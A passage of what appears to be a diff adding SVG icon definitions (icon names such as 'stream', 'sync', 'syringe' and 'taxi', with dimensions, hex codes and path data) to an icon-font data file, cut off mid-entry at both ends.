"M121.51,384V284.2a119.43,119.43,0,0,1-28,3.8,123.46,123.46,0,0,1-17.1-1.2,114.88,114.88,0,0,1-15.58-3.6V480c0,17.7,13.59,32,30.4,32H505.75L348.42,384Zm-28-128.09c25.1,0,47.29-10.72,64-27.24L24,120.05c-30.52,53.39-2.45,126.53,56.49,135A95.68,95.68,0,0,0,93.48,255.91ZM602.13,458.09,547.2,413.41V283.2a93.5,93.5,0,0,1-15.57,3.6,127.31,127.31,0,0,1-17.29,1.2,114.89,114.89,0,0,1-28-3.8v79.68L348.52,251.77a88.06,88.06,0,0,0,25.41,4.14c28.11,0,53-13,70.11-33.11,17.19,20.11,42.08,33.11,70.11,33.11a94.31,94.31,0,0,0,13-.91c59.66-8.41,88-82.8,56.06-136.4L521.55,15A30.1,30.1,0,0,0,495.81,0H112A30.11,30.11,0,0,0,86.27,15L76.88,30.78,43.19,3.38A14.68,14.68,0,0,0,21.86,6.19L3.2,31.45A16.58,16.58,0,0,0,5.87,53.91L564.81,508.63a14.69,14.69,0,0,0,21.33-2.82l18.66-25.26A16.58,16.58,0,0,0,602.13,458.09Z"], + "stream": [512, 512, [], "f550", "M16 128h416c8.84 0 16-7.16 16-16V48c0-8.84-7.16-16-16-16H16C7.16 32 0 39.16 0 48v64c0 8.84 7.16 16 16 16zm480 80H80c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm-64 176H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h416c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16z"], + "street-view": [512, 512, [], "f21d", "M367.9 329.76c-4.62 5.3-9.78 10.1-15.9 13.65v22.94c66.52 9.34 112 28.05 112 49.65 0 30.93-93.12 56-208 56S48 446.93 48 416c0-21.6 45.48-40.3 112-49.65v-22.94c-6.12-3.55-11.28-8.35-15.9-13.65C58.87 345.34 0 378.05 0 416c0 53.02 114.62 96 256 96s256-42.98 256-96c0-37.95-58.87-70.66-144.1-86.24zM256 128c35.35 0 64-28.65 64-64S291.35 0 256 0s-64 28.65-64 64 28.65 64 64 64zm-64 192v96c0 17.67 14.33 32 32 32h64c17.67 0 32-14.33 32-32v-96c17.67 0 32-14.33 32-32v-96c0-26.51-21.49-48-48-48h-11.8c-11.07 5.03-23.26 8-36.2 8s-25.13-2.97-36.2-8H208c-26.51 0-48 21.49-48 48v96c0 17.67 14.33 32 32 32z"], + "strikethrough": [512, 512, [], "f0cc", "M496 224H293.9l-87.17-26.83A43.55 43.55 0 0 1 219.55 112h66.79A49.89 49.89 0 0 1 331 139.58a16 16 0 0 0 21.46 7.15l42.94-21.47a16 16 0 0 0 7.16-21.46l-.53-1A128 128 0 0 0 287.51 32h-68a123.68 123.68 0 0 0-123 135.64c2 20.89 10.1 39.83 21.78 56.36H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h480a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm-180.24 96A43 43 0 0 1 336 356.45 43.59 43.59 0 0 1 292.45 400h-66.79A49.89 49.89 0 0 1 181 372.42a16 16 0 0 0-21.46-7.15l-42.94 21.47a16 16 0 0 0-7.16 21.46l.53 1A128 128 0 0 0 224.49 480h68a123.68 123.68 0 0 0 123-135.64 114.25 114.25 0 0 0-5.34-24.36z"], + "stroopwafel": [512, 512, [], "f551", "M188.12 210.74L142.86 256l45.25 45.25L233.37 256l-45.25-45.26zm113.13-22.62L256 142.86l-45.25 45.25L256 233.37l45.25-45.25zm-90.5 135.76L256 369.14l45.26-45.26L256 278.63l-45.25 45.25zM256 0C114.62 0 0 114.62 0 256s114.62 256 256 256 256-114.62 256-256S397.38 0 256 0zm186.68 295.6l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-28.29-28.29-45.25 45.25 33.94 33.94 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-33.94-33.94-45.26 45.26 28.29 28.29c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0L256 414.39l-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l28.29-28.29-45.25-45.26-33.94 33.94 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 33.94-33.94-45.25-45.25-28.29 28.29c-3.12 3.12-8.19 3.12-11.31 0L69.32 295.6c-3.12-3.12-3.12-8.19 0-11.31L97.61 256l-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l28.29 28.29 45.25-45.26-33.94-33.94-16.97 16.97c-3.12 3.12-8.19 3.12-11.31 0l-11.31-11.31c-3.12-3.12-3.12-8.19 0-11.31l16.97-16.97-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 33.94 33.94 45.26-45.25-28.29-28.29c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0L256 97.61l28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-28.29 28.29 45.26 45.25 33.94-33.94-16.97-16.97c-3.12-3.12-3.12-8.19 0-11.31l11.31-11.31c3.12-3.12 8.19-3.12 11.31 0l16.97 16.97 16.97-16.97c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31l-16.97 16.97 16.97 16.97c3.12 3.12 3.12 8.19 0 11.31l-11.31 11.31c-3.12 3.12-8.19 3.12-11.31 0l-16.97-16.97-33.94 33.94 45.25 45.26 28.29-28.29c3.12-3.12 8.19-3.12 11.31 0l11.31 11.31c3.12 3.12 3.12 8.19 0 11.31L414.39 256l28.29 28.28a8.015 8.015 0 0 1 0 11.32zM278.63 256l45.26 45.25L369.14 256l-45.25-45.26L278.63 256z"], + "subscript": [512, 512, [], "f12c", "M496 448h-16V304a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 352h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z"], + "subway": [448, 512, [], "f239", "M448 96v256c0 51.815-61.624 96-130.022 96l62.98 49.721C386.905 502.417 383.562 512 376 512H72c-7.578 0-10.892-9.594-4.957-14.279L130.022 448C61.82 448 0 403.954 0 352V96C0 42.981 64 0 128 0h192c65 0 128 42.981 128 96zM200 232V120c0-13.255-10.745-24-24-24H72c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm200 0V120c0-13.255-10.745-24-24-24H272c-13.255 0-24 10.745-24 24v112c0 13.255 10.745 24 24 24h104c13.255 0 24-10.745 24-24zm-48 56c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48zm-256 0c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z"], + "suitcase": [512, 512, [], "f0f2", "M128 480h256V80c0-26.5-21.5-48-48-48H176c-26.5 0-48 21.5-48 48v400zm64-384h128v32H192V96zm320 80v256c0 26.5-21.5 48-48 48h-48V128h48c26.5 0 48 21.5 48 48zM96 480H48c-26.5 0-48-21.5-48-48V176c0-26.5 21.5-48 48-48h48v352z"], + "suitcase-rolling": [384, 512, [], "f5c1", "M336 160H48c-26.51 0-48 21.49-48 48v224c0 26.51 21.49 48 48 48h16v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h128v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16h16c26.51 0 48-21.49 48-48V208c0-26.51-21.49-48-48-48zm-16 216c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zm0-96c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h240c4.42 0 8 3.58 8 8v16zM144 48h96v80h48V48c0-26.51-21.49-48-48-48h-96c-26.51 0-48 21.49-48 48v80h48V48z"], + "sun": [512, 512, [], "f185", "M256 160c-52.9 0-96 43.1-96 96s43.1 96 96 96 96-43.1 96-96-43.1-96-96-96zm246.4 80.5l-94.7-47.3 33.5-100.4c4.5-13.6-8.4-26.5-21.9-21.9l-100.4 33.5-47.4-94.8c-6.4-12.8-24.6-12.8-31 0l-47.3 94.7L92.7 70.8c-13.6-4.5-26.5 8.4-21.9 21.9l33.5 100.4-94.7 47.4c-12.8 6.4-12.8 24.6 0 31l94.7 47.3-33.5 100.5c-4.5 13.6 8.4 26.5 21.9 21.9l100.4-33.5 47.3 94.7c6.4 12.8 24.6 12.8 31 0l47.3-94.7 100.4 33.5c13.6 4.5 26.5-8.4 21.9-21.9l-33.5-100.4 94.7-47.3c13-6.5 13-24.7.2-31.1zm-155.9 106c-49.9 49.9-131.1 49.9-181 0-49.9-49.9-49.9-131.1 0-181 49.9-49.9 131.1-49.9 181 0 49.9 49.9 49.9 131.1 0 181z"], + "superscript": [512, 512, [], "f12b", "M496 160h-16V16a16 16 0 0 0-16-16h-48a16 16 0 0 0-14.29 8.83l-16 32A16 16 0 0 0 400 64h16v96h-16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h96a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM336 64h-67a16 16 0 0 0-13.14 6.87l-79.9 115-79.9-115A16 16 0 0 0 83 64H16A16 16 0 0 0 0 80v48a16 16 0 0 0 16 16h33.48l77.81 112-77.81 112H16a16 16 0 0 0-16 16v48a16 16 0 0 0 16 16h67a16 16 0 0 0 13.14-6.87l79.9-115 79.9 115A16 16 0 0 0 269 448h67a16 16 0 0 0 16-16v-48a16 16 0 0 0-16-16h-33.48l-77.81-112 77.81-112H336a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16z"], + "surprise": [496, 512, [], "f5c2", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm112 208c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64zm80-176c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "swatchbook": [512, 512, [], "f5c3", "M434.66,167.71h0L344.5,77.36a31.83,31.83,0,0,0-45-.07h0l-.07.07L224,152.88V424L434.66,212.9A32,32,0,0,0,434.66,167.71ZM480,320H373.09L186.68,506.51c-2.06,2.07-4.5,3.58-6.68,5.49H480a32,32,0,0,0,32-32V352A32,32,0,0,0,480,320ZM192,32A32,32,0,0,0,160,0H32A32,32,0,0,0,0,32V416a96,96,0,0,0,192,0ZM96,440a24,24,0,1,1,24-24A24,24,0,0,1,96,440Zm32-184H64V192h64Zm0-128H64V64h64Z"], + "swimmer": [640, 512, [], "f5c4", "M189.61 310.58c3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c16.02-14.77 34.5-22.58 53.46-22.58h16.3c18.96 0 37.45 7.81 53.46 22.58 3.54 3.26 15.27 9.42 34.39 9.42s30.86-6.16 34.39-9.42c14.86-13.71 31.88-21.12 49.39-22.16l-112.84-80.6 18-12.86c3.64-2.58 8.28-3.52 12.62-2.61l100.35 21.53c25.91 5.53 51.44-10.97 57-36.88 5.55-25.92-10.95-51.44-36.88-57L437.68 98.47c-30.73-6.58-63.02.12-88.56 18.38l-80.02 57.17c-10.38 7.39-19.36 16.44-26.72 26.94L173.75 299c5.47 3.23 10.82 6.93 15.86 11.58zM624 352h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 343.58 442.04 352 416 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 343.58 250.04 352 224 352s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 343.58 58.04 352 32 352H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-512-96c44.18 0 80-35.82 80-80s-35.82-80-80-80-80 35.82-80 80 35.82 80 80 80z"], + "swimming-pool": [640, 512, [], "f5c5", "M624 416h-16c-26.04 0-45.8-8.42-56.09-17.9-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C461.8 407.58 442.04 416 416 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C269.8 407.58 250.04 416 224 416s-45.8-8.42-56.09-17.9c-8.9-8.21-19.66-14.1-31.77-14.1h-16.3c-12.11 0-22.87 5.89-31.77 14.1C77.8 407.58 58.04 416 32 416H16c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h16c38.62 0 72.72-12.19 96-31.84 23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84s72.72-12.19 96-31.84c23.28 19.66 57.38 31.84 96 31.84h16c8.84 0 16-7.16 16-16v-32c0-8.84-7.16-16-16-16zm-400-32v-96h192v96c19.12 0 30.86-6.16 34.39-9.42 9.17-8.46 19.2-14.34 29.61-18.07V128c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v96H224v-96c0-17.64 14.36-32 32-32s32 14.36 32 32v16c0 8.84 7.16 16 16 16h32c8.84 0 16-7.16 16-16v-16c0-52.94-43.06-96-96-96s-96 43.06-96 96v228.5c10.41 3.73 20.44 9.62 29.61 18.07 3.53 3.27 15.27 9.43 34.39 9.43z"], + "synagogue": [640, 512, [], "f69b", "M70 196.51L6.67 268.29A26.643 26.643 0 0 0 0 285.93V512h128V239.58l-38-43.07c-5.31-6.01-14.69-6.01-20 0zm563.33 71.78L570 196.51c-5.31-6.02-14.69-6.02-20 0l-38 43.07V512h128V285.93c0-6.5-2.37-12.77-6.67-17.64zM339.99 7.01c-11.69-9.35-28.29-9.35-39.98 0l-128 102.4A32.005 32.005 0 0 0 160 134.4V512h96v-92.57c0-31.88 21.78-61.43 53.25-66.55C349.34 346.35 384 377.13 384 416v96h96V134.4c0-9.72-4.42-18.92-12.01-24.99l-128-102.4zm52.07 215.55c1.98 3.15-.29 7.24-4 7.24h-38.94L324 269.79c-1.85 2.95-6.15 2.95-8 0l-25.12-39.98h-38.94c-3.72 0-5.98-4.09-4-7.24l19.2-30.56-19.2-30.56c-1.98-3.15.29-7.24 4-7.24h38.94l25.12-40c1.85-2.95 6.15-2.95 8 0l25.12 39.98h38.95c3.71 0 5.98 4.09 4 7.24L372.87 192l19.19 30.56z"], + "sync": [512, 512, [], "f021", "M440.65 12.57l4 82.77A247.16 247.16 0 0 0 255.83 8C134.73 8 33.91 94.92 12.29 209.82A12 12 0 0 0 24.09 224h49.05a12 12 0 0 0 11.67-9.26 175.91 175.91 0 0 1 317-56.94l-101.46-4.86a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12H500a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12h-47.37a12 12 0 0 0-11.98 12.57zM255.83 432a175.61 175.61 0 0 1-146-77.8l101.8 4.87a12 12 0 0 0 12.57-12v-47.4a12 12 0 0 0-12-12H12a12 12 0 0 0-12 12V500a12 12 0 0 0 12 12h47.35a12 12 0 0 0 12-12.6l-4.15-82.57A247.17 247.17 0 0 0 255.83 504c121.11 0 221.93-86.92 243.55-201.82a12 12 0 0 0-11.8-14.18h-49.05a12 12 0 0 0-11.67 9.26A175.86 175.86 0 0 1 255.83 432z"], + "sync-alt": [512, 512, [], "f2f1", "M370.72 133.28C339.458 104.008 298.888 87.962 255.848 88c-77.458.068-144.328 53.178-162.791 126.85-1.344 5.363-6.122 9.15-11.651 9.15H24.103c-7.498 0-13.194-6.807-11.807-14.176C33.933 94.924 134.813 8 256 8c66.448 0 126.791 26.136 171.315 68.685L463.03 40.97C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.749zM32 296h134.059c21.382 0 32.09 25.851 16.971 40.971l-41.75 41.75c31.262 29.273 71.835 45.319 114.876 45.28 77.418-.07 144.315-53.144 162.787-126.849 1.344-5.363 6.122-9.15 11.651-9.15h57.304c7.498 0 13.194 6.807 11.807 14.176C478.067 417.076 377.187 504 256 504c-66.448 0-126.791-26.136-171.315-68.685L48.97 471.03C33.851 486.149 8 475.441 8 454.059V320c0-13.255 10.745-24 24-24z"], + "syringe": [512, 512, [], "f48e", "M201.5 174.8l55.7 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-55.7-55.8-45.3 45.3 55.8 55.8c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L111 265.2l-26.4 26.4c-17.3 17.3-25.6 41.1-23 65.4l7.1 63.6L2.3 487c-3.1 3.1-3.1 8.2 0 11.3l11.3 11.3c3.1 3.1 8.2 3.1 11.3 0l66.3-66.3 63.6 7.1c23.9 2.6 47.9-5.4 65.4-23l181.9-181.9-135.7-135.7-64.9 65zm308.2-93.3L430.5 2.3c-3.1-3.1-8.2-3.1-11.3 0l-11.3 11.3c-3.1 3.1-3.1 8.2 0 11.3l28.3 28.3-45.3 45.3-56.6-56.6-17-17c-3.1-3.1-8.2-3.1-11.3 0l-33.9 33.9c-3.1 3.1-3.1 8.2 0 11.3l17 17L424.8 223l17 17c3.1 3.1 8.2 3.1 11.3 0l33.9-34c3.1-3.1 3.1-8.2 0-11.3l-73.5-73.5 45.3-45.3 28.3 28.3c3.1 3.1 8.2 3.1 11.3 0l11.3-11.3c3.1-3.2 3.1-8.2 0-11.4z"], + "table": [512, 512, [], "f0ce", "M464 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM224 416H64v-96h160v96zm0-160H64v-96h160v96zm224 160H288v-96h160v96zm0-160H288v-96h160v96z"], + "table-tennis": [512, 512, [], "f45d", "M496.2 296.5C527.7 218.7 512 126.2 449 63.1 365.1-21 229-21 145.1 63.1l-56 56.1 211.5 211.5c46.1-62.1 131.5-77.4 195.6-34.2zm-217.9 79.7L57.9 155.9c-27.3 45.3-21.7 105 17.3 144.1l34.5 34.6L6.7 424c-8.6 7.5-9.1 20.7-1 28.8l53.4 53.5c8 8.1 21.2 7.6 28.7-1L177.1 402l35.7 35.7c19.7 19.7 44.6 30.5 70.3 33.3-7.1-17-11-35.6-11-55.1-.1-13.8 2.5-27 6.2-39.7zM416 320c-53 0-96 43-96 96s43 96 96 96 96-43 96-96-43-96-96-96z"], + "tablet": [448, 512, [], "f10a", "M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z"], + "tablet-alt": [448, 512, [], "f3fa", "M400 0H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V48c0-26.5-21.5-48-48-48zM224 480c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32zm176-108c0 6.6-5.4 12-12 12H60c-6.6 0-12-5.4-12-12V60c0-6.6 5.4-12 12-12h328c6.6 0 12 5.4 12 12v312z"], + "tablets": [640, 512, [], "f490", "M160 192C78.9 192 12.5 250.5.1 326.7c-.8 4.8 3.3 9.3 8.3 9.3h303.3c5 0 9.1-4.5 8.3-9.3C307.5 250.5 241.1 192 160 192zm151.6 176H8.4c-5 0-9.1 4.5-8.3 9.3C12.5 453.5 78.9 512 160 512s147.5-58.5 159.9-134.7c.8-4.8-3.3-9.3-8.3-9.3zM593.4 46.6c-56.5-56.5-144.2-61.4-206.9-16-4 2.9-4.3 8.9-.8 12.3L597 254.3c3.5 3.5 9.5 3.2 12.3-.8 45.5-62.7 40.6-150.4-15.9-206.9zM363 65.7c-3.5-3.5-9.5-3.2-12.3.8-45.4 62.7-40.5 150.4 15.9 206.9 56.5 56.5 144.2 61.4 206.9 15.9 4-2.9 4.3-8.9.8-12.3L363 65.7z"], + "tachometer-alt": [576, 512, [], "f3fd", "M288 32C128.94 32 0 160.94 0 320c0 52.8 14.25 102.26 39.06 144.8 5.61 9.62 16.3 15.2 27.44 15.2h443c11.14 0 21.83-5.58 27.44-15.2C561.75 422.26 576 372.8 576 320c0-159.06-128.94-288-288-288zm0 64c14.71 0 26.58 10.13 30.32 23.65-1.11 2.26-2.64 4.23-3.45 6.67l-9.22 27.67c-5.13 3.49-10.97 6.01-17.64 6.01-17.67 0-32-14.33-32-32S270.33 96 288 96zM96 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm48-160c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm246.77-72.41l-61.33 184C343.13 347.33 352 364.54 352 384c0 11.72-3.38 22.55-8.88 32H232.88c-5.5-9.45-8.88-20.28-8.88-32 0-33.94 26.5-61.43 59.9-63.59l61.34-184.01c4.17-12.56 17.73-19.45 30.36-15.17 12.57 4.19 19.35 17.79 15.17 30.36zm14.66 57.2l15.52-46.55c3.47-1.29 7.13-2.23 11.05-2.23 17.67 0 32 14.33 32 32s-14.33 32-32 32c-11.38-.01-20.89-6.28-26.57-15.22zM480 384c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "tag": [512, 512, [], "f02b", "M0 252.118V48C0 21.49 21.49 0 48 0h204.118a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882L293.823 497.941c-18.745 18.745-49.137 18.745-67.882 0L14.059 286.059A48 48 0 0 1 0 252.118zM112 64c-26.51 0-48 21.49-48 48s21.49 48 48 48 48-21.49 48-48-21.49-48-48-48z"], + "tags": [640, 512, [], "f02c", "M497.941 225.941L286.059 14.059A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v204.118a48 48 0 0 0 14.059 33.941l211.882 211.882c18.744 18.745 49.136 18.746 67.882 0l204.118-204.118c18.745-18.745 18.745-49.137 0-67.882zM112 160c-26.51 0-48-21.49-48-48s21.49-48 48-48 48 21.49 48 48-21.49 48-48 48zm513.941 133.823L421.823 497.941c-18.745 18.745-49.137 18.745-67.882 0l-.36-.36L527.64 323.522c16.999-16.999 26.36-39.6 26.36-63.64s-9.362-46.641-26.36-63.64L331.397 0h48.721a48 48 0 0 1 33.941 14.059l211.882 211.882c18.745 18.745 18.745 49.137 0 67.882z"], + "tape": [640, 512, [], "f4db", "M224 192c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64zm400 224H380.6c41.5-40.7 67.4-97.3 67.4-160 0-123.7-100.3-224-224-224S0 132.3 0 256s100.3 224 224 224h400c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm-400-64c-53 0-96-43-96-96s43-96 96-96 96 43 96 96-43 96-96 96z"], + "tasks": [512, 512, [], "f0ae", "M139.61 35.5a12 12 0 0 0-17 0L58.93 98.81l-22.7-22.12a12 12 0 0 0-17 0L3.53 92.41a12 12 0 0 0 0 17l47.59 47.4a12.78 12.78 0 0 0 17.61 0l15.59-15.62L156.52 69a12.09 12.09 0 0 0 .09-17zm0 159.19a12 12 0 0 0-17 0l-63.68 63.72-22.7-22.1a12 12 0 0 0-17 0L3.53 252a12 12 0 0 0 0 17L51 316.5a12.77 12.77 0 0 0 17.6 0l15.7-15.69 72.2-72.22a12 12 0 0 0 .09-16.9zM64 368c-26.49 0-48.59 21.5-48.59 48S37.53 464 64 464a48 48 0 0 0 0-96zm432 16H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-320H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 160H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h288a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16z"], + "taxi": [512, 512, [], "f1ba", "M462 241.64l-22-84.84c-9.6-35.2-41.6-60.8-76.8-60.8H352V64c0-17.67-14.33-32-32-32H192c-17.67 0-32 14.33-32 32v32h-11.2c-35.2 0-67.2 25.6-76.8 60.8l-22 84.84C21.41 248.04 0 273.47 0 304v48c0 23.63 12.95 44.04 32 55.12V448c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-32h256v32c0 17.67 14.33 32 32 32h32c17.67 0 32-14.33 32-32v-40.88c19.05-11.09 32-31.5 32-55.12v-48c0-30.53-21.41-55.96-50-62.36zM96 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm20.55-112l17.2-66.36c2.23-8.16 9.59-13.64 15.06-13.64h214.4c5.47 0 12.83 5.48 14.85 12.86L395.45 240h-278.9zM416 352c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z"], + "teeth": [640, 512, [], "f62e", "M544 0H96C42.98 0 0 42.98 0 96v320c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96V96c0-53.02-42.98-96-96-96zM160 368c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm144 120c0 30.93-25.07 56-56 56s-56-25.07-56-56v-56c0-8.84 7.16-16 16-16h80c8.84 0 16 7.16 16 16v56zm0-120c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-88c0-30.93 25.07-56 56-56s56 25.07 56 56v88zm128 128c0 26.51-21.49 48-48 48s-48-21.49-48-48v-64c0-8.84 7.16-16 16-16h64c8.84 0 16 7.16 16 16v64zm0-128c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-64c0-26.51 21.49-48 48-48s48 21.49 48 48v64z"], + "teeth-open": [640, 512, [], "f62f", "M544 0H96C42.98 0 0 42.98 0 96v64c0 35.35 28.66 64 64 64h512c35.34 0 64-28.65 64-64V96c0-53.02-42.98-96-96-96zM160 176c0 8.84-7.16 16-16 16H80c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm144 0c0 8.84-7.16 16-16 16h-80c-8.84 0-16-7.16-16-16v-56c0-30.93 25.07-56 56-56s56 25.07 56 56v56zm128 0c0 8.84-7.16 16-16 16h-64c-8.84 0-16-7.16-16-16v-32c0-26.51 21.49-48 48-48s48 21.49 48 48v32zm0 144H64c-35.34 0-64 28.65-64 64v32c0 53.02 42.98 96 96 96h448c53.02 0 96-42.98 96-96v-32c0-35.35-28.66-64-64-64zm-416 80c0 26.51-21.49 48-48 